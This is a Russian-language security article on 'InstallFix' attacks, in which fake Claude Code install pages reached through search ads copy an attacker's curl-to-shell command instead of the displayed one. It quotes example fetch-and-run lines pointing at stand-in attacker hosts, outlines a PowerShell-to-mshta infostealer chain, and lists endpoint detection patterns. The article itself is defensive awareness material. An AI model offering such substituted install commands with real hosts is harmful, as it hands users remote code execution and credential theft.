Практический разбор InstallFix-атаки: человек ищет AI-tool, попадает на фейковую страницу установки, копирует привычную terminal-команду, а вместо installer запускает malware chain.

Вступление

Это не уязвимость Claude.

И не история про то, что “AI-инструменты опасные”.

Это история про более скучную и поэтому более неприятную вещь:

разработчики привыкли копировать install-команды из браузера прямо в терминал

И атакующие начали бить именно в эту привычку.

Раньше фишинг чаще выглядел как письмо, fake login page или “скачайте важный документ”.

Сейчас в мире developer tools и AI coding assistants появилась другая форма:

фейковая документация
фейковая install page
фейковая кнопка Copy
малварь вместо install.sh

Человек не открывает подозрительное вложение.

Он просто гуглит “Claude Code install”, видит sponsored result, открывает страницу, похожую на документацию, копирует команду и запускает ее.

Выглядит как обычная установка CLI tool.

А на самом деле это может быть начало infection chain.

Что это за класс атак

Push Security назвали этот паттерн InstallFix.

Идея простая:

1. Атакующий клонирует страницу установки популярного developer tool.

2. Страница выглядит почти как официальная документация.

3. Внутри меняются install-команды.

4. Трафик приводится через Google Ads или другой malvertising.

5. Пользователь копирует команду и запускает ее сам.

6. Вместо нормального installer выполняется malicious payload.

Это близко к ClickFix, но pretext другой.

В ClickFix пользователя часто заставляют “починить” что-то: CAPTCHA, browser error, access issue.

В InstallFix ничего чинить не надо.

Пользователь сам хочет установить легитимный софт.

Это и делает атаку неприятной.

Почему Claude и AI tools стали удобной приманкой

AI tooling сейчас растет очень быстро.

Люди ставят Claude Code, ChatGPT-related tools, Cursor plugins, MCP servers, agent frameworks, CLI wrappers, browser extensions, desktop clients.

И далеко не всегда это идет через нормальный внутренний approval.

В реальности часто происходит так:

коллега показал новый инструмент
человек загуглил install guide
нашел первую ссылку
скопировал команду
запустил

Для атакующего это почти идеальная ситуация:

• высокий интерес к новому инструменту;

• пользователь ожидает увидеть terminal-команду;

• sponsored result может быть выше органической выдачи;

• страница документации легко клонируется;

• install command может выглядеть правдоподобно;

• после установки пользователь может даже попасть на настоящий сайт и ничего не заметить.

Kaspersky отдельно писал, что подобные кампании продвигаются через search ads и имитируют installation instructions для Claude Code. Push Security тоже описывали фейковые страницы, где единственное важное отличие находится в самой install-команде.

Кейс: человек ставит Claude через install.sh

Представим реалистичный сценарий.

Разработчик хочет поставить AI coding assistant.

Он ищет:

Claude Code install

Вверху выдачи видит sponsored result.

Домен выглядит почти нормально:

claude-code-docs.example
claude-code-install.example
claude-update.example

Страница похожа на документацию:

• логотип;

• sidebar;

• quickstart;

• tabs для macOS/Linux/Windows;

• кнопка Copy;

• короткая install-команда.

На экране пользователь видит что-то вроде:

curl -fsSL https://claude.ai/install.sh | sh

Проблема в том, что видимая команда и команда, которая реально попадает в clipboard, не обязаны совпадать.

Например, на странице может быть показано:

curl -fsSL https://claude.ai/install.sh | sh

А после нажатия Copy в clipboard может попасть:

curl -fsSL https://download.example.invalid/install.sh | sh

Или еще хуже:

curl -fsSL https://download.example.invalid/bootstrap | sh

В реальной атаке домен, конечно, будет выглядеть более правдоподобно.

Суть не в конкретном URL.

Суть в том, что пользователь доверяет UI страницы, а не проверяет команду перед запуском.

Где здесь JavaScript

В web-странице команда обычно показывается как текст и рядом лежит кнопка Copy.

Эта кнопка может копировать не то, что пользователь видит глазами.

Условно:

visible text:
  curl -fsSL https://official.example/install.sh | sh

clipboard value:
  curl -fsSL https://attacker.example/install.sh | sh

Можно сделать и тоньше:

• показывать официальный домен в UI;

• копировать attacker-controlled URL;

• добавлять base64-decoding;

• добавлять silent flags;

• выбирать payload под OS;

• подменять команду только для пользователей из нужной страны или организации;

• менять команду только при переходе из ad campaign.

Поэтому “я же видел нормальную команду на странице” не является гарантией.

Гарантия появляется только когда человек смотрит команду уже после paste, до Enter.

Да, это банально.

Но именно такие банальные вещи чаще всего и ломаются.

Windows-сценарий: mshta и PowerShell

В Windows-вариантах таких кампаний часто используются living-off-the-land binaries.

Например, цепочка может выглядеть так:

browser / user paste
  -> PowerShell
  -> mshta.exe
  -> remote HTA/script
  -> cmd.exe / powershell stager
  -> fileless payload
  -> persistence / credential theft

В описанных кампаниях вокруг Claude Code исследователи фиксировали mshta.exe, PowerShell, staged execution, obfuscation, AMSI bypass attempts, browser data theft и infostealer behavior.

Здесь важно понимать: пользователю не обязательно скачивать setup.exe.

Он может сам запустить команду, которая подтянет все остальное.

И с точки зрения некоторых security controls это выглядит не как “файл из почты”, а как пользовательская terminal activity.

macOS/Linux-сценарий: curl-to-shell

На macOS/Linux привычный паттерн другой:

curl -fsSL https://example.com/install.sh | sh

или:

curl -fsSL https://example.com/install.sh | zsh

Это удобно.

И поэтому опасно.

Такая команда говорит:

скачай удаленный script и сразу выполни его

Если домен официальный и script ожидаемый, это стандартный developer workflow.

Если домен подменен, это remote code execution руками пользователя.

Проблема не в curl.

Проблема в том, что trust boundary превращается в:

я доверяю этой web-странице и ее copy button

А это слабая граница.

Почему sponsored result опаснее, чем кажется

Многие люди до сих пор воспринимают Google Ads как что-то относительно легитимное.

Логика такая:

если ссылка вверху Google, наверное, это нормальный сайт

Это плохая эвристика.

Malvertising как раз и работает потому, что пользователь сам ищет нужный инструмент. Нет phishing email. Нет подозрительного вложения. Нет странного сообщения в мессенджере.

Пользователь инициировал действие сам.

И поэтому психологически меньше насторожен.

Push Security отмечали, что fake install pages распространялись через sponsored search results по запросам вроде Claude Code, Claude Code install, Claude Code CLI. Kaspersky тоже описывал similar flow: пользователь ищет Claude Code download, видит sponsored link и попадает на fake documentation.

Для корпоративной среды это особенно неприятно.

Потому что employee может ставить инструмент на рабочую машину, где есть:

• source code;

• SSH keys;

• browser sessions;

• password manager session;

• Git credentials;

• cloud CLI tokens;

• kubeconfig;

• CI/CD access;

• internal docs;

• VPN access.

Infostealer на такой машине — это уже не просто “личный ноутбук заразился”.

Это возможный вход в компанию.

Чем это отличается от обычного fake installer

Классический fake installer часто выглядит так:

скачайте setup.exe
запустите installer
получите malware

InstallFix тоньше.

Он использует нормальную developer-привычку:

документация говорит скопировать команду
я копирую команду
я запускаю команду

Для разработчика это не выглядит как “я скачал подозрительный exe”.

Это выглядит как “я поставил CLI tool по документации”.

Поэтому awareness должен быть не только про “не открывайте exe из интернета”.

Нужно отдельно проговаривать:

terminal commands из браузера тоже являются code execution

Что проверять перед запуском install-команды

Минимальный checklist для человека:

1. Не кликать sponsored result для установки dev tools.

2. Открывать official docs из known source.

3. Проверять домен в самой команде, а не только в address bar.

4. После paste проверять команду до Enter.

5. Не запускать curl | sh, если не понятно, что именно скачивается.

6. По возможности сначала скачать script и открыть его:

curl -fsSL https://official.example/install.sh -o install.sh
less install.sh
sh install.sh

7. Для сомнительных tools использовать disposable VM/container.

8. Не запускать новые AI tools на машине с production secrets.

Это не должно превращаться в паранойю.

Но если команда запускает remote script, это уже полноценное выполнение кода.

К этому надо относиться соответственно.

Что можно сделать на уровне команды

Одного awareness мало.

Я бы добавил несколько практических controls.

Internal allowlist для developer tools

Команда должна знать, откуда ставятся approved tools.

Например:

Claude Code:
  official docs: https://docs.anthropic.com/...
  package: @anthropic-ai/claude-code

Node:
  official: https://nodejs.org/
  internal mirror: https://nexus.example.com/...

Homebrew:
  official: https://brew.sh/

Если человек находит install guide через Google Ads, это уже повод остановиться.

Internal docs

Для популярных tools лучше иметь внутреннюю страницу:

как установить
какую команду использовать
какой домен ожидается
какой hash/signature проверять
куда писать, если не работает

Это особенно актуально для AI tools, потому что люди все равно будут их пробовать.

Если компания не дает безопасный путь, сотрудники найдут небезопасный.

DNS/SWG controls

Можно блокировать:

• newly registered domains;

• suspicious lookalike domains;

• known malicious domains;

• ad-delivered installer pages;

• direct access к suspicious payload hosts.

Это не серебряная пуля, потому что attackers быстро меняют инфраструктуру.

Но как слой защиты полезно.

Endpoint detections

На Windows я бы смотрел на такие behavioral patterns:

browser -> powershell
browser -> cmd
powershell -> mshta
mshta -> cmd
mshta -> powershell
powershell -EncodedCommand
PowerShell AMSI tampering
new scheduled task near install activity
unexpected outbound from scripting hosts

Особенно если это происходит сразу после посещения install page.

Для macOS/Linux:

shell spawned from browser-adjacent activity
curl/wget downloading executable/script to /tmp
xattr -c on downloaded binary
chmod +x on fresh download
execution from /tmp
unexpected persistence agents

Контекст важен.

curl сам по себе не malware.

PowerShell сам по себе не malware.

Но browser-driven install flow + suspicious domain + obfuscated command + persistence — это уже другой разговор.

Что можно сделать в CI/CD и AppSec-процессах

На первый взгляд это endpoint/security awareness тема.

Но для AppSec/DevSecOps она тоже важна.

Developer machines часто имеют доступ к цепочке поставки:

• Git repositories;

• package registries;

• container registries;

• CI/CD variables;

• deployment configs;

• signing keys;

• cloud credentials;

• kubeconfigs.

Если infostealer получает browser tokens или локальные credentials, дальше это может стать supply chain incident.

Поэтому я бы добавлял в Secure SDLC:

• approved source list для dev tools;

• запрет установки tools из sponsored results;

• internal installation docs;

• sandboxing для новых AI tools;

• endpoint telemetry на developer machines;

• least-privilege для developer tokens;

• short-lived credentials;

• отдельные accounts/tokens для production;

• регулярную ревизию local secrets и kubeconfigs.

Это не “борьба с Claude”.

Это нормальная hygiene вокруг developer workstation security.

Короткий incident response checklist

Если человек уже запустил подозрительный install command:

1. Не продолжать работу на машине.

2. Отключить сеть или изолировать endpoint через EDR.

3. Сохранить команду, URL, browser history, time window.

4. Проверить process tree: browser, shell, PowerShell, mshta, cmd, curl, zsh.

5. Проверить persistence: scheduled tasks, launch agents, startup items.

6. Проверить outbound connections.

7. Считать browser sessions и tokens potentially compromised.

8. Ротировать credentials:

   • Git;

   • GitHub/GitLab;

   • cloud;

   • registry;

   • package manager;

   • password manager session, если есть риск.

9. Проверить recent repository activity.

10. Переустановить workstation, если нет уверенности в полном cleanup.

Главное: если это infostealer, простого “удалил файл” может быть мало.

Что это не решает

Проверка install-команд не заменяет:

• endpoint protection;

• DNS filtering;

• secure web gateway;

• least privilege;

• secret rotation;

• EDR telemetry;

• software allowlisting;

• internal package mirrors;

• developer security training.

Но она закрывает очень конкретную дыру:

человек не должен вслепую выполнять код из страницы, которую нашел через рекламу

Мой вывод

InstallFix неприятен не технической сложностью.

Он неприятен тем, что использует нормальный developer workflow.

Мы сами приучили людей:

копируй команду из docs
вставляй в terminal
жми Enter

Атакующие просто подменили docs.

Или команду.

Или clipboard value.

И этого уже достаточно.

Поэтому правило простое:

install command из браузера = code execution

К ней надо относиться как к коду:

• проверить источник;

• проверить домен;

• проверить команду после paste;

• не доверять sponsored results;

• не запускать непонятный install.sh на рабочей машине с secrets;

• иметь internal approved path для популярных tools.

Это маленькая привычка.

Но она может отделять обычную установку AI tool от запуска infostealer на developer workstation.

Источники

• Push Security, InstallFix: https://pushsecurity.com/blog/installfix/

• Kaspersky, Malware disguised as AI agents: https://www.kaspersky.com/blog/fake-ai-agents-infostealers/55412/

• Graphika, Malicious Commands: Fake Claude Code & ChatGPT Installers: https://graphika.com/posts/malicious-commands-fake-claude-code-chatgpt-installers

• TechRepublic summary: https://www.techrepublic.com/article/news-fake-claude-code-install-pages-malware-windows-macos/

Проголосовал 1 пользователь. Воздержавшихся нет.